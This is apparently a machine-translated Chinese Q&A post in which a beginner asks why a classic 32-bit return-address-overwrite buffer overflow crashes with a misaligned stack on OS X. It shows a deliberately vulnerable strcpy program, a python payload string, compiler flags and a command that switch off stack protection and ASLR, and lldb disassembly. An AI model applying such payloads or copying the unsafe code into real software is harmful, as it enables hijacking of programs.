我尝试使用以下程序执行简单的缓冲区溢出
void not_called() {
printf("Enjoy your shell\n");
char* name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
void vulnerable_function(char* string) {
char buffer[12];
strcpy(buffer, string);
}
int main(int argc, char** argv) {
printf("Starting!\n");
vulnerable_function(argv[1]);
return 0;
}
但是用
喂食时./hello `python -c 'print "A"*20 + "\x80\x1e"'`
用hello编译
gcc -m32 -fno-stack-protector -D_FORTIFY_SOURCE=0 -Wl,-no_pie hello.c -o hello
在OS X 10.11.6上,程序崩溃了。我确认这在改变程序流程后已经发生了 - 它落在0x1e80
并打印"享受......"但是execve
似乎失败了。
跟踪显示 0x1ed4
发生错误,过去 0x1ecf execve
来电,但它没有继续崩溃之间的/bin/sh
。
在该地址下找到的%eax, -0x20(%ebp)
显然意味着失败,因为保存的ebp
在返回地址时被覆盖,但是什么在困扰我,是它应该永远不会到达该行
这里有来自lldb的一些输出:
* thread #1: tid = 0x42b83, 0x97f772f0 libdyld.dylib`misaligned_stack_error_, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
frame #0: 0x97f772f0 libdyld.dylib`misaligned_stack_error_
libdyld.dylib`misaligned_stack_error_:
-> 0x97f772f0 <+0>: movdqa %xmm0, 0x10(%esp)
0x97f772f6 <+6>: movdqa %xmm1, 0x20(%esp)
0x97f772fc <+12>: movdqa %xmm2, 0x30(%esp)
0x97f77302 <+18>: movdqa %xmm3, 0x40(%esp)
迹:
(lldb) bt
* thread #1: tid = 0x42b83, 0x97f772f0 libdyld.dylib`misaligned_stack_error_, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
* frame #0: 0x97f772f0 libdyld.dylib`misaligned_stack_error_
frame #1: 0xa3db5edc libsystem_c.dylib`__sFX + 184
frame #2: 0x00001ed4 hello`not_called + 84
(lldb) di -n not_called
hello`not_called:
0x1e80 <+0>: pushl %ebp
0x1e81 <+1>: movl %esp, %ebp
0x1e83 <+3>: pushl %edi
0x1e84 <+4>: pushl %esi
0x1e85 <+5>: subl $0x30, %esp
0x1e88 <+8>: calll 0x1e8d ; <+13>
0x1e8d <+13>: popl %eax
0x1e8e <+14>: leal 0x105(%eax), %ecx
0x1e94 <+20>: movl %ecx, (%esp)
0x1e97 <+23>: movl %eax, -0x14(%ebp)
0x1e9a <+26>: calll 0x1f5c ; symbol stub for: printf
0x1e9f <+31>: xorl %ecx, %ecx
0x1ea1 <+33>: leal -0x10(%ebp), %edx
0x1ea4 <+36>: movl -0x14(%ebp), %esi
0x1ea7 <+39>: leal 0x118(%esi), %edi
0x1ead <+45>: movl %edi, -0x10(%ebp)
0x1eb0 <+48>: movl $0x0, -0xc(%ebp)
0x1eb7 <+55>: movl -0x10(%ebp), %edi
0x1eba <+58>: movl %edi, (%esp)
0x1ebd <+61>: movl %edx, 0x4(%esp)
0x1ec1 <+65>: movl $0x0, 0x8(%esp)
0x1ec9 <+73>: movl %eax, -0x18(%ebp)
0x1ecc <+76>: movl %ecx, -0x1c(%ebp)
0x1ecf <+79>: calll 0x1f56 ; symbol stub for: execve
0x1ed4 <+84>: movl %eax, -0x20(%ebp)
0x1ed7 <+87>: addl $0x30, %esp
0x1eda <+90>: popl %esi
0x1edb <+91>: popl %edi
0x1edc <+92>: popl %ebp
0x1edd <+93>: retl
0x1ede <+94>: nop
稍作修改,我就可以在运行Ubuntu 16.04的PC上取得成功,我无法解决这个未对齐的堆栈问题。
我只是开始研究这个领域,所以任何提示都值得赞赏!
编辑:( Ubuntu 16.04尝试)
使用与gcc -fno-stack-protector hello.c -o hello
编译的相同程序,我能够在没有崩溃的情况下成功。它不完全相同,因为这次它是64位,但我没有32位开发库,无论如何都成功完成了这个设置。 ASLR被禁用:
echo 0 > /proc/sys/kernel/randomize_va_space
编辑:
我能够通过添加-mrealignstack
并使用
gcc -m32 -mrealignstack -fno-stack-protector -D_FORTIFY_SOURCE=0 -Wl,-no_pie hello.c -o hello
然而,我仍然对手动修复它的方式感兴趣,因为这个标志似乎非常罕见,并且引入了重新调整堆栈的开销。话虽这么说,必须有一种方法来手动重新排列堆栈,我还不确定如何这样做。
编辑:
这只在调用库函数时崩溃,在劫持eip
之后执行的任何我自己的函数链都可以工作。